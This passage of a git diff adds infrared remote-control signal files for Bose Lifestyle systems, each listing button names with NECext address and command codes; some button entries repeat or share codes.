+protocol: NECext +address: BA B4 00 00 +command: 64 00 00 00 +# +name: ENCORE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 65 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 66 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 67 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 68 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 69 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 9D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 9F 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B4 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA B4 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B4 00 00 +command: B3 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B4 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA B4 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA B4 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA B4 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA B4 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,181.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,181.ir new file mode 100644 index 000000000..bde32e258 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,181.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B5 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA B5 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B5 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA B5 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA B5 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA B5 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA B5 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA B5 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,182.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,182.ir new file mode 100644 index 000000000..d97a53a4c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,182.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B6 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA B6 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B6 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA B6 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA B6 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA B6 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA B6 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA B6 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,183.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,183.ir new file mode 100644 index 000000000..f03e3c3b6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,183.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 01 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 02 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 0E 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 19 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 1A 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B7 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA B7 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B7 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA B7 00 00 +command: C0 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B7 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA B7 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA B7 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA B7 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA B7 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,184.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,184.ir new file mode 100644 index 000000000..7cf11d009 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,184.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 4C 00 00 00 +# +name: MUTE_ALL_TOGGLE +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 4D 00 00 00 +# +name: CD/DVD +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 55 00 00 00 +# +name: PAUSE_TOGGLE +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 56 00 00 00 +# +name: SEEK/SCAN_<< +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 57 00 00 00 +# +name: SEEK/SCAN_>> +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 5C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 60 00 00 00 +# +name: CD_# +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 63 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 64 00 00 00 +# +name: SIMILAR_(ENCORE) +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 65 00 00 00 +# +name: UMUSIC +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 66 00 00 00 +# +name: WHOLE_CD +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 67 00 00 00 +# +name: RATING_- +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 68 00 00 00 +# +name: RATING_+ +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 69 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 80 00 00 00 +# +name: POWER_ON_ASSERT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 8C 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 9D 00 00 00 +# +name: PLAYLIST +type: parsed +protocol: NECext +address: BA B8 00 00 +command: 9F 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: A0 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: BA B8 00 00 +command: B0 00 00 00 +# +name: STORED +type: parsed +protocol: NECext +address: BA B8 00 00 +command: B3 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA B8 00 00 +command: C0 00 00 00 +# +name: POWER_OFF_ASSERT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: CC 00 00 00 +# +name: MUTE_ALL_ASSERT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: CD 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA B8 00 00 +command: D0 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: BA B8 00 00 +command: E0 00 00 00 +# +name: LOCAL_SOURCE +type: parsed +protocol: NECext +address: BA B8 00 00 +command: F4 00 00 00 +# +name: MUTE_ASSERT +type: parsed +protocol: NECext +address: BA B8 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,185.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,185.ir new file mode 100644 index 000000000..9b84ce836 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,185.ir @@ -0,0 +1,350 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 01 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 03 00 00 00 +# +name: FM/AM_TOGGLE +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 06 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 0E 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 0F 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 15 00 00 00 +# +name: TRACK/CH./PRE._DOWN +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 18 00 00 00 +# +name: TRACK/CH./PRE._UP +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 1A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 20 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 20 00 00 00 +# +name: FM_ASSERT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 25 00 00 00 +# +name: AM_ASSERT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 28 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 30 00 00 00 +# +name: PAUSE_ASSERT +type: parsed +protocol: NECext +address: BA B9 00 00 +command: 36 00 00 00 +# +name: 0 +type: parsed 